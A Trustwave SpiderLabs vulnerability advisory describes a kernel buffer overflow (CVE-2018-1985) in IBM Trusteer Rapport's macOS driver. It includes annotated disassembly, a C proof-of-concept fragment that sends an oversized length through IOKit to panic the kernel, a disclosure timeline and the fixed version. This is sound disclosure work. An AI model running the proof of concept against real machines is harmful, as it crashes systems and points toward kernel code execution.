Trustwave SpiderLabs Security Advisory TWSL2018-012:
Kernel Buffer Overflow in IBM Trusteer Rapport

Published: 02/28/2019
Version: 1.1

Vendor: IBM Trusteer (https://www.ibm.com)
Product: Rapport
Version affected: <3.6.1908

Product description:
IBM Trusteer Rapport is an advanced endpoint protection solution designed to
protect users from financial malware and phishing attacks. Using
industry-leading technology, Trusteer Rapport is designed to defend against MitB
attacks, remove malware from endpoint devices and protect customers by
preventing them from entering phishing sites. Trusteer Rapport offers a broad
security solution that can help your organization reduce costs, enhance your
fraud detection and prevention, and help to provide a seamless customer
experience.


Finding 1: Kernel memory corruption
Credit: Neil Kettle of Trustwave
CVE: CVE-2018-1985

A signedness bug exists in the handling of user supplied buffers in the IBM Trusteer Rapport
'gakl_driver' on Apple Mac OS-X/macOS. The signedness bug permits an attacker to evade a length
check on a user supplied buffer leading to an integer overflow thereby resulting in a user
controllable memory corruption vulnerability in the Kernel driver potentially leading to
arbitrary code execution in the Kernel/ring0.

The assembler below exemplifies the vulnerability:

00000000000023ab         mov        eax, dword [rbx+8]		[rbx] - user controllable
00000000000023ae         cmp        eax, 0x3e7
00000000000023b3         mov        ecx, 0x3e7
00000000000023b8         cmovle     ecx, eax
00000000000023bb         mov        dword [__ZN36com_trusteer_rapportke_userclient_v210_q_processE], ecx
00000000000023c1         lea        rsi, qword [rbx+0xc]                        ; argument "src" for method _memcpy
00000000000023c5         movsxd     rdx, ecx
00000000000023c8         shl        rdx, 0x2                                    ; argument "n" for method _memcpy
00000000000023cc         lea        rdi, qword [__ZN36com_trusteer_rapportke_userclient_v28_processE] ; argument "dst"
00000000000023d3         call       _memcpy			<- Overflow

Example:
The following Proof of Concept (PoC) executes the vulnerable code path and will result
in a page fault thereby panic'ing the kernel:

## rapport-smash-v2.c

  service = IOServiceGetMatchingService (kIOMasterPortDefault,
                                         IOServiceMatching("com_trusteer_rapportke_v2"));
  if (!service)
    {
      fprintf (stderr, "* IOServiceGetMatchingService failed, rapport running?\n");
      return (EXIT_FAILURE);
    }

  rapport_port = (io_connect_t) 0;
  kr = IOServiceOpen (service, mach_task_self (), 0, &rapport_port);
  IOObjectRelease (service);

  if (kr != kIOReturnSuccess)
    {
      fprintf (stderr, "* IOServiceOpen failed\n");
      return (EXIT_FAILURE);
    }

  memset (&active, 0, sizeof active);
  active.flag = 0x7F;
  active.num_pids = (1 << 31) | 0xFFFFFF;
  active.pids[0] = getpid ();

  kr = IOConnectCallStructMethod (rapport_port, 2, &active, sizeof active, NULL, NULL);


Remediation Steps:
Upgrade to IBM Security Rapport for MacOS 3.6.1908.26 or the latest stable version. Trustwave
has not verified this fix. 

Revision History:
08/15/2018 - Vulnerability disclosed to vendor
11/13/2018 - 90 day deadline passed
11/14/2018 - Provided vender 30 day extension to patch
12/17/2018 - Vendor confirms no patch is available
12/20/2018 - Advisory 1.0 published
02/28/2019 - Advisory 1.1 published

References
1. https://www-01.ibm.com/support/docview.wss?uid=ibm10869212

About Trustwave:
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countries. For more information about Trustwave, visit 
https://www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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